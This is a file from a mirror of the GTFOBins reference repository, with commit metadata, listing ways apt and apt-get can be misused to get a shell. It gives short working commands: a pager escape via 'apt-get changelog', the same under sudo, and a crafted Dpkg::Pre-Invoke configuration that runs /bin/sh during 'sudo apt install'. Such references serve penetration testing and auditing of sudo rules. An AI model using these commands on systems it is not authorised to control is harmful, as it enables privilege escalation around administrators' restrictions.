1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-02-07 00:33:35 +01:00
GTFOBins.github.io/_gtfobins/apt.md
Andrea Cardaci 4fdaada820 Fix apt* shell
The Bash process substitution doesn't work (anymore?).
2019-01-21 15:40:28 +01:00

19 lines
634 B
Markdown

---
functions:
shell:
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
apt-get changelog apt
!/bin/sh
sudo:
- description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.
code: |
sudo apt-get changelog apt
!/bin/sh
- description: For this to work the target package (e.g., `sl`) must not be installed.
code: |
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt install -c $TF sl
---